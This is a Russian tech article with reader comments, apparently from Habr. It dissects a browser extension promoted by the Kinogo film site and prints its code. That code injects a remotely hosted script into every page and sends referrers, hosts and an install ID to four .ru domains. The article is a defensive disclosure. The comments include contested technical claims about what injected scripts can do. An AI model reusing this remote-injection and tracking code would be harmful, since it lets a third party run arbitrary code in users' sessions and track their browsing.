Продолжая тему обзора расширений, рассмотрим следующее.
При входе на сайт Kinogo начал возникать баннер:



Мне стало интересно что это за расширение и решил просмотреть код.

Почему появилось расширение?


Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):



Текст со скриншота
Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей, касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд), направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем, все плагины наши, и мы активно их поддерживаем.

Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.

Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.

О расширении


Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.

Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3

Обзор кода расширения


Коротко опишу, только интересную цепочку:

1. Разбор любого расширения начинается с manifest.json

manifest.json
{
   "background": {
      "page": "html/background.html"
   },
   "content_scripts": [ {
      "js": [
         "core/frameworks/cajon.js",
         "core/frameworks/jquery.js",
         "core/process.js"
      ],
      "matches": [ "*://*/*" ],
      "run_at": "document_start"
   } ],
   "description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!",
   "icons": {
      "128": "images/128.png",
      "16": "images/16.png",
      "48": "images/48.png"
   },
   "manifest_version": 2,
   "name": "Angry Kino - уход от бана",
   "permissions": [
      "webRequest",
      "webRequestBlocking",
      "webNavigation",
      "tabs",
      "\u003Call_urls>"
   ],
   "update_url": "https://clients2.google.com/service/update2/crx",
   "version": "1.0.3",
   "web_accessible_resources": [
      "images/_.png",
      "core/content.js",
      "core/contentSession.js",
      "core/messaging.js",
      "core/frameworks/uri.js",
      "core/backgroundHandlers.js",
      "core/backgroundSession.js",
      "core/backgroundUtils.js"
   ]
}


2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js

process.js
require.config({
  baseUrl:  chrome.extension.getURL('/') 
});


require([
  "core/content"
], function() { 
});


3. В process.js с помощью функции require подключается файл «content.js»

content.js
define(function (require) {
    exports = {};

    (function () {
        var messageDispatcher = require('core/messaging').MessageDispatcher;

        messageDispatcher.sendToBackground(
            {
                cmd: 'GetRequestUrl'
            }, function (url) {
                if (url) {
                    url = url.replace(/^https?:/, '')
                            + '&r=' + encodeURIComponent(document.referrer)
                            + '&h=' + encodeURIComponent(document.location.host)
                            + '&rand=' + (new Date()).getTime();

                    if (document.head) {
                        $("head").append($("<script />", {
                            src: url
                        }));
                    } else {
                        var i = setInterval(function () {
                            if (document.head) {
                                clearInterval(i);
                                $("head").append($("<script />", {
                                    src: url
                                }));
                            }
                        }, 100);
                    }
                }
            });

        if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) {

            var i2 = setInterval(function () {
                if (document.body) {
                    clearInterval(i2);
                    $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide());
                }
            }, 100);
        }

    }).call(this);

    return exports;
});


4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js

messaging.js
define(function (require) {
    exports = {};

    (function () {

        var _handlers = {};

        function dispatcher(handlers, request, sender, sendResponse) {
            if (!request || !request.cmd || !(typeof request.cmd === 'string')) {
                throw 'Error: Bad request!';
            }

            var handlerName = 'handle' + request.cmd;
            var handler = handlers[handlerName];
            if (!(typeof handler === 'function')) {
                return;
            }

            handler(request.args, sender, sendResponse);
        }

        chrome.extension.onMessage.addListener(
            function (request, sender, sendResponse) {
                dispatcher(_handlers, request, sender, sendResponse);
            }
        );

        exports.MessageDispatcher = {
            
            addHandlers: function(handlers) {
                for(var name in handlers) {
                    _handlers[name] = handlers[name];
                }
            },
            
            sendToBackground: function (request, callback) {

                callback = callback || $.noop;
                chrome.extension.sendMessage(request, callback);
            },
            sendToContentScript: function (tabId, request, callback) {

                callback = callback || $.noop;
                chrome.tabs.sendMessage(tabId, request, callback);
            }

        };

    }).call(this);

    return exports;
});


5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.

6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.

7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:

manifest.json ==(key "background.page")==> background.html
backround.html ==(script)==> demon.js
demon.js ==(require)==> backround.js
background.js ==(require)==> backgroundHandlers.js
backgroundHandlers.js ==(require)==> backgroundUtils.js


8. Рассмотрим backgroundUtils.js

backgroundUtils.js
define(function (require) {
    exports = {};
    (function () {

        var Session = require('core/backgroundSession').Session;
        var ProxyGetter = require('core/proxy').ProxyGetter;


        exports = {
            getRequestUrl: function() {
                if (ProxyGetter.serverIp) {
                    return (
                            ProxyGetter.serverIp + '/getscripts2?'
                            + this.getRequestParams()
                        );
                }
            },
            
            getRequestParams: function() {
                return ('&b=' + Session.buildId
                        + '&uid=' + Session.instanceId
                        + '&insd=' + Session.installDate
                        + '&sid=' 
                        + '&df=' 
                    );
            },
            
            sendNotify: function(from, to) {
                if (ProxyGetter.serverIp) {
                    var url = (
                            ProxyGetter.serverIp + '/kinogo_log?'
                            + this.getRequestParams()
                            + '&from=' + encodeURIComponent(from)
                            + '&to=' + encodeURIComponent(to)
                        );
                
                    $.get(url);
                }
            }
        };

    }).call(this);


    return exports;
});


9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).

'http://outrageous.ru',
'http://thrilling.ru',
'http://frightened.ru',
'http://agitated.ru',

proxy.js
define(function (require) {
    exports = {};

    (function () {
        
		/**
		* Bypass protection from Roskomnadzor
		*/
        var reserveLinks = [
            'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru',
            'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru',
            'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru',
            'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru',
        ];
        
        var ProxyGetter = {};
        ProxyGetter.serverIp = null;
        
        /**
         * Use proxy
         * @param {type} callback
         * @returns {undefined}
         */
        ProxyGetter.findServer = function (callback) {
            ProxyGetter.serverIp = null;
            if(reserveLinks.length > 0) {
                ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)];
            }
            callback();
        };
        
        exports.ProxyGetter = ProxyGetter;

    }).call(this);
    return exports;
});


10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.

Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:



А теперь соберем все воедино:

1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.

Выводы делайте сами.

P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.

Комментарии (55)


  1. putnik
    06.05.2015 02:03
    -17

    Это всё от глупости, а не от злого умысла. Что, впрочем, не менее веская причина не пользоваться такими расширениями.


    1. mayorovp
      06.05.2015 08:30
      +21

      Глупостью это бы было, если бы расширение и правда помогало обойти блокировку. Но ведь кроме шпионажа за пользователем оно не делает вообще ничего!


      1. 2potato
        11.05.2015 08:30

        А вы проверяли что оно не работает? Установите расширение, заблокируйте на роутере kinogo.net и убедитесь сами что расширение переведет любой ваш запрос на вшитое в коде зеркало (kinogo.co) либо подкачает список доступных зеркал — самостоятельно (если вы используете firefox версию)


    1. SDI Автор
      06.05.2015 09:35
      +11

      The chance that higher life forms might have emerged in this way is comparable to the chance that a tornado sweeping through a junkyard might assemble a Boeing 747 from the materials therein.

      — Фред Хойл


      1. Уровень кода из расширения не состыкуется с глупостью. Код расширения написан сильными в разработке ребятами и скорей всего одной группой людей (возможно и одним человеком). Стиль написания кода и его логика выдержана от начала до конца.
      2. И последним гвоздем является явная отправка данных о пользователе. Ты либо отсылаешь данные либо нет, третьего не дано.


      1. mwizard
        06.05.2015 09:52

        The chance that higher life forms might have emerged in this way is comparable to the chance that a tornado sweeping through a junkyard might assemble a Boeing 747 from the materials therein.
        У вас есть более удачная альтернатива эволюции?


        1. SDI Автор
          06.05.2015 10:13

          Не совсем верно.
          Данная цитата не противоречит теории эволюции.
          Цитата критикует одну из теорий возникновения живой материи на Земле. Из чего-то же должна была начаться эволюция.
          А этих теорий на самом деле очень много:
          — живая материя занесена из космоса космическим телом;
          — существовала всегда;
          — возникла на ровном месте из неживой материи и т.п.

          Вот данная цитата относится к последнему, приведенному, варианту.
          В комментарии цитата приведена как красивая, на мой взгляд, аналогия. Конечно же, я не возьму на себя ответственности дать ответ по тому, о чем еще нет ответа в научном мире.


          1. mwizard
            06.05.2015 10:15
            +3

            Не соглашусь с вами хотя бы по той причине, что в цитате идет речь о «higher life forms» — т.е. о воронах, ежиках и других мелких птичках. О происхождении простейших форм жизни приведенная цитата не говорит ни слова.


            1. SDI Автор
              06.05.2015 10:31

              Отличное замечание.
              Чуть погуглил, действительно есть, как минимум, 2 трактовки данной цитаты:
              — в одном случае ее используют против эволюции.
              — в другом случае она используется именно для обоснования появления «первой живой клетки»;

              Один из вариантов трактовки
              То есть — никаких шансов, даже теоретических, для самозарождения жизни на Земле нет и не может быть в принципе. Никаких.

              Как объяснил ситуацию сам Фред Хойл: «Представьте себе, что на огромной свалке в беспорядке разбросаны все части от авиалайнера «Боинг-747», разобранного, что называется, до болта и гайки. Тут случается пройтись по свалке страшной силы смерчу-урагану. Каковы шансы того, что после подобного смерча на свалке будет стоять полностью собранный «Боинг», готовый отправиться в полет?»

              Впрочем, Фред Хойл объяснил и то, каким образом жизнь все же появиться могла. Вариантов было предложено два:
              1) либо она является изначальным свойством материи типа гравитации или магнетизма, а потом заносится на разные планеты;
              2) либо она зародилась в других местах Вселенной, обладающих другими изначальными условиями и на первичных этапах была значительно проще, нежели та, которую мы имеем удовольствие наблюдать, и оказалась занесена на Землю извне в уже достаточно развитом виде.

              Источник


              1. mwizard
                06.05.2015 10:35
                +7

                Каковы шансы того, что после подобного смерча на свалке будет стоять полностью собранный «Боинг», готовый отправиться в полет?
                … если это будет одновременно происходить на 5?1030 свалок каждые 20 минут в течении нескольких миллионов лет? :) Ненавистники эволюции все же такие смешные.


                1. neochapay
                  06.05.2015 11:13
                  +5

                  Эволюция не работает по такому принципу! Нет ни какой свалки — есть последовательный процесс усовершенствования под давлением внешней среды.
                  Начинаем с фосволипидов — один конец которых гидрофильный другой гидрофобный — самоорганизующиеся мембраны и глобулы — получаем обосоленный внутренний мирок протоорганизма. У древних он вообще мог быть из глицерина например…
                  Продолжаем образованием клапанов в этой мембране пропускающие только определённые соединения для формирования самой оболочки.
                  Далее самый сложный этап — начало питания я о нём уже вряд ли могу поведать.

                  Я к тому что эволюция это не ветер на свалке…


  1. uinx
    06.05.2015 03:03
    -69

    Кто хочет — пусть ставит, кто не хочет — пусть не ставит, незачем панику создавать.
    И создавали эти расширения наверно по приципу —

    … а… вот смотри Вась, есть вот такая фича, давай её добавим — пусть будет, на всякий случай...

    Лично я вообще с торрентов качаю видеоконтент, ложу его в локальный plex media server, и смотрю на apple tv3 с телеком в 51 диагональ


    1. RubyRoid07
      06.05.2015 03:31
      +17

      51 диагональ! Красиво жить не запретишь!


    1. Spegulo
      06.05.2015 05:09
      +21

      Да, я как ни крутил, как по углам не расставлял — больше 12 диагоналей в квартиру не помещается… Что я делаю не так?


      1. berezuev
        06.05.2015 10:50
        +2

        Так, это только в одной комнате 12 диагоналей (при условии, что это ровный параллелепипед). А в квартире, обычно, еще и кухня, коридор, санузел… Вот вам полсотни и наберется.


        1. mwizard
          06.05.2015 11:09
          +1

          Гардеробная, кабинет, библиотека, зал для гостей, комната для прислуги, винный погреб…


        1. Spegulo
          06.05.2015 11:41

          Да, пожалуй, я мыслил двумерно. Но и вы учитываете только диагонали граней.


    1. uinx
      06.05.2015 07:59
      -34

      А в чем смысл минусов?
      Самовыражение не в моде?


      1. gibson_dev
        06.05.2015 09:02
        +8

        На данном ресурсе и в том виде в котором вы это делаете — моветон


      1. Yavanosta
        06.05.2015 09:13
        +59

        Нет, просто люди выражают свое мнение.

        Комментарий написан с MacBook Air 2015, подключенном с помощью DisplayPort к монитору Apple Led Cinema на клавиатуре Apple Keyboard, с Apple Magic Mouse в руках. В процессе написания я пил из хрустального бокала, изготовленного лучшими мастерами Российской Империи в 1856 году, и купленного мной в прошлом году на аукционе Сотбис, у представителя древнейшего российского рода, вино из винограда выращенного на южных французских склонах в самый засушливый и неурожайный год восемнадцатого столетия, что придало ему легкий терпкий привкус и замечательный аромат, который как нельзя лучше гармонирует со свежей кубинской сигарой, доставленной мне вчера специальным рейсом аэрофлота.


        1. berezuev
          06.05.2015 14:47

          Пить вино с утра — плохая затея :)


          1. ingumsky
            06.05.2015 22:58
            -1

            Верно. «Утром выпил — весь день свободен».


      1. Yavanosta
        06.05.2015 10:34
        +12

        И это я еще молчу про «ложу»


  1. freylis
    06.05.2015 05:13
    +3

    никогда не понимал как можно своими руками хоронить свой проект. Либо есть версия, что у них там жареным запахло, вот и решили собрать кучу инфы.
    В любом случае больше к вам не приду


    1. 2potato
      11.05.2015 08:44

      Отправлять текущую страницу в управляющий скрипт, что бы определять киного домен это или нет — это по вашему собирать кучу инфы? Мы не собираем информацию по нашим пользователям, это не имеет смысла.


  1. realbtr
    06.05.2015 05:31

    Что-то много желающих стало поставить свой плагин к браузеру.
    Некие s3.archiveshare.net через друзей в фейсбуке, распространяет разные провокационно-популярные статьи (на волне Российско-Украинского конфликта) при этом, отображая поверх части страницы предложение установить плагин.

    Не анализировал в деталях, может кому-то будет интересно. Могу (персонально) дать зловредную ссылку для анализа.


    1. SDI Автор
      06.05.2015 09:41

      Подтверждаю, по поводу archiveshare.net есть подозрения.
      Через vk тоже идет масштабная реклама постов из других ресурсов, которые размещены якобы на данном домене.
      И для просмотра этих постов нужно расширение.


  1. leoismyname
    06.05.2015 06:51
    +5

    Вся суть статьи в двух предложениях:

    При входе на сайт Kinogo начал возникать баннер
    Выводы делайте сами


    1. SDI Автор
      06.05.2015 09:45
      +6

      Почти.
      Только упущено предложение с описанием того, что делает данное расширение.
      А вот на основании действий расширения, каждый волен сделать свои выводы.
      Судя по комментариям, они действительно могут отличаться.
      Поэтому навязывать свое мнение о таких вещах счел не нужным.


      1. 2potato
        11.05.2015 08:47
        +1

        А вы не описали по сути того что делает расширение, не указали что оно содержит в себе функционал, который описан в манифесте и магазине. «Продолжая тему вредоносных расширений» — это начало вашей статьи, хотя в итоге вредоносного ничего в нем обнаружить не получилось.


  1. Elandor
    06.05.2015 09:53
    +1

    Достаточно откровенный манифест. Прямым текстом написано, что следить будут.


  1. Claud
    06.05.2015 18:14
    +1

    Так, а заявленная функция там вообще есть? Блокировки обходятся или нет?


    1. SDI Автор
      06.05.2015 20:08

      Сказать, что нет функционала для обхода блокировок — нельзя, но и сказать, что есть мегафункция для обхода блокировок — тоже нельзя.
      Поэтому скажу как есть.
      Есть функция которая слушает все запросы и если среди запросов есть запрос страницы с нужным доменом, то он редиректится на kinogo.co.

      код, отвечающий за редирект
      webReq.onBeforeRequest.addListener(function (details) {
          var reqReturn = null;
      
          try {
              if(details.type === "main_frame" && details.url) {
                  var parsedUrl      = URI.parse(details.url);
                  var host           = parsedUrl.host_without_www;
                  var replaceRegexp  = KinogoMirror.test(host);
                  
                  if (KinogoMirror.mirror && replaceRegexp) {
                      var kinogoMirror = KinogoMirror.mirror.replace(/^https?:\/\//i, '');
      
                      if (host !== kinogoMirror) {
                          var newUrl = details.url.replace(replaceRegexp, '$1$2' + kinogoMirror);
                          reqReturn = {redirectUrl: newUrl};
                      }
                  }
              }
          } catch (ex) {}
      
          return reqReturn;
      }, {urls: ['<all_urls>']}, ['blocking']);
      


      1. Claud
        06.05.2015 20:24

        Так это считай что нет обхода, этот ихний новый домен прикроют так же как и старый.


        1. SDI Автор
          06.05.2015 20:27

          Да, так и есть.
          Поэтому и сделал предположение, что они должны будут получать списки доменов с веб-сервера, если конечно вообще планируют обходить блокировки.
          А это в свою очередь откроет проблему редиректа всего что угодно на все что угодно;


          1. Claud
            06.05.2015 21:09

            К слову, а в предыдущем расширение, на которое вы делали обзор, там была полезная функциональность (убирал рекламу со страницы)?


            1. SDI Автор
              06.05.2015 21:23

              Не заметил, блокировки запросов и фонового скрипта там в принципе не было.
              Поэтому вся надежда была на полученный код с веб-сервера.
              Возможно, на популярные сайты и присылали скрипты, которые скрывали рекламу. Но опять же удалить ее могли уже постфактум (с миганием и т.п.).


        1. 2potato
          11.05.2015 08:37

          Боже, откуда такие выводы? Откройте расширение для фокса и убедитесь сами что там реализован механизм получения зеркал через киного домен. Для хрома нет надобности вшивать этот функционал т.к. расширение находится в магазине и список зеркал легко изменить в ручную.

          Если в случае блокировки домена kinogo.net, плагин переводит автоматически все ГЕТ запросы на свой рабочий домен (в данном случае хардкор kinogo.co), то чем это не обход блокировки? В случае блокировки зеркального домена kinogo.co — плагин обновляется через гугл стор и снова обходит любую блокировку, а в случае с фаерфоксом — без обновления подкачивает новое зеркало.


    1. 2potato
      11.05.2015 08:39

      В текущей реализации плагин определяет что вы зашли на kinogo.net и переводит ваш запрос на вшитое в коде зеркало в зоне co. Если это не обход блокировки, тогда что же обход?


  1. Kamikaze
    07.05.2015 01:54
    +2

    Признаюсь, я тот, кто зачем-то поставил расширение, не особо задумавшись даже зачем, хотя частенько за это ругал других людей.
    Сегодня обнаружил левую сессию в vk с неизвестного адреса и посланное от моего имени кому-то сообщение. Вряд ли совпадение, так очевидно расширение не просто бесполезное, а уже вполне себе вредоносное.


    1. xenohunter
      09.05.2015 21:55

      Ваш ник даже немного коррелирует с событием. Надеюсь, всё хорошо, и важные данные не успели утечь.


      1. Kamikaze
        09.05.2015 22:13

        К счастью да, обошлось. Так сказать максимум опыта из минимума ущерба.


    1. 2potato
      11.05.2015 08:33

      Полный бред. Расширение не содержит в себе не капли вредоносного кода. Это подтверждено как основным постом так и в целом если полистать его код. Если вашим аккаунтом пользуется кто то еще — это ваше дело, при чем тут расширение? У расширения даже нет такой возможности это сделать, полистайте исходники. Это физически не возможно без его апдейта.


      1. solver
        11.05.2015 11:09
        +2

        Боюсь, что вас просто не услышат.
        К сожалению, у вас подозрительный код. А в этой ситуации любым заявлениям типа «Сегодня обнаружил левую сессию в vk с неизвестного адреса» будут верить на слово. Хотя и есть простое логическое правило «После того не означает в следствии того». Люди все равно часто думают эмоциями и убеждениями, а не фактами.


      1. Kamikaze
        11.05.2015 14:22

        «Расширение не содержит в себе не капли вредоносного кода.»

        Наверное также могут ответить авторы сего поделия. А что, вреда оно само действительно не наносит.
        Извиняюсь за сравнение с такими вещами, но напрашивается само собой.


        1. 2potato
          11.05.2015 14:26

          Ну вы же правда понимаете разницу софта и расширения? Я понимаю что в мире существуют потенциально вредоносные расширения, я этого не отрицаю и возможно часть из них действительно заточено под описанные вами действия. Но такие действия как вы описали нельзя сделать без использования API браузера, а оно не доступно при подгрузки скрипта удаленно. Соответственно если при разборе расширения этого функционала не увидели, значит он и не сможет там появится без обновления плагина и тп.

          Поэтому я и написал вам что вы ошибаетесь. В текущей реализации, данный плагин этого сделать не может. Его придется очень сильно модифицировать что бы он смог выполнять описанные действия.


          1. Kamikaze
            11.05.2015 14:49

            К сожалению, довольно далек от разработки и JS, что невозможно, куки скажем перехватить и переслать? Могу ошибаться, но вроде как вполне возможно.
            Я не пытаюсь доказать что вы злодеи, мне опыта не хватит всё равно, мне просто любопытно, насколько может скомпрометировать безопасность установка расширения выполняющего произвольный JS-код.


      1. Sayonji
        01.06.2015 22:00

        Можно про «физически невозможно» подробнее?
        Данное утверждение из статьи

        А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
        является ложью?


        1. 2potato
          02.06.2015 12:58

          Этого не достаточно что бы произвести описанные действия, даже если подгруженный код будет вредоносным. Возможностями жабаскрипта вы не сможете не заметно отправлять какие либо сообщения и тп, ВК не даст вам сабмитить форму если вы не находитесь непосредственно на странице кому вы хотите написать + не открыли с ним чат. Покраней мере мне такие возможности не известны. Нажать кнопку — теоретически возможно, но отправить сообщение левому человеку — нет. Темболее что значит «левая сессия ВК» и тп — остается загадкой.


          1. mayorovp
            02.06.2015 14:52

            Возможностями жабаскрипта вы не сможете не заметно отправлять какие либо сообщения и тп, ВК не даст вам сабмитить форму если вы не находитесь непосредственно на странице кому вы хотите написать + не открыли с ним чат.
            Да неужели? Значит, к сабмиту формы надо добавить предварительное открытие чата, вот и вся сложность…


            1. 2potato
              02.06.2015 14:59

              Ну что за сказки? Скрипт грузится с домена отличного от ВК, по политике безопасности он не сможет засабмить форму чата, максимум что — кликнуть сам по кнопке. Для того что бы кликнуть — надо находится на странице нужной где чат уже открыт с нужным человеком. Дальше надо самому заполнить форму и нажать на кнопку. Что бы находится на нужной странице — её должен открыть пользователь. Если открывать самому, отслеживать ципочту набирать текст и тп — даже в таком случае таб браузера закрыть не получится. Все будет очевидно для владельца страницы ВК. Поэтому давайте вы прежде чем умничать — пойдете попробуете.


              1. mayorovp
                02.06.2015 16:11
                +1

                Какая разница, откуда загружен скрипт, если выполняется он со страницы ВК? Будучи включенным на страницу тэгом script, он может делать все, что хочет.

                Конечно, тут сайту могла бы помочь CSP (Content security policy) — но ВК не использует эту технику.


                1. 2potato
                  02.06.2015 16:29
                  -2

                  Как это какая разница? Если вы хотите засабмитить форму с отправкой личного сообщения другому пользователю — вы должны сделать post запрос на домен ВК с подключеного скрипта. Если он подключился с другого домена — ВК отбросит данные. Это тоже самое что б вы сейчас с локальной машины будучи залогиненым в ВК попробовали отправить на их домен пост данные на отправку сообщения. Это не получится сделать, максимум что подключенным скриптом вы сможете нажать на кнопку, как я уже писал об этом выше.


                  1. mwizard
                    02.06.2015 18:42
                    +2

                    Если он подключился с другого домена — ВК отбросит данные
                    А как тогда, по вашему, работает jQuery? Он ведь подключается с CDN, и с его помощью отправляются разнообразные запросы на всевозможные домены.


          1. Kamikaze
            02.06.2015 18:42

            Возможностями жабаскрипта можно легко получить cookies для определенного ресурса, с которыми можно уже поразвлекаться вручную. Зачем — уже вопрос другой, может кому-то заняться нечем было.
            Однажды сам, имея доступ к шлюзу интернета учебного заведения, поигрался с анализатором трафика и получил кукисы на тот же vk, который тогда ещё был без https, затем от имени пользователя отправил ему же сообщение что сидеть на работе в контакте не есть хорошо.
            vk логирует доступ, соответственно под «левой сессией» подразумевал неизвестный мне адрес в этом логе.


            1. grossws
              02.06.2015 20:31

              Возможностями жабаскрипта можно легко получить cookies для определенного ресурса, с которыми можно уже поразвлекаться вручную.
              Только, если:
              — либо куки специально предназначены для обработки в js,
              — либо разработчик бекэнда конечный идиот и не поставил HttpOnly.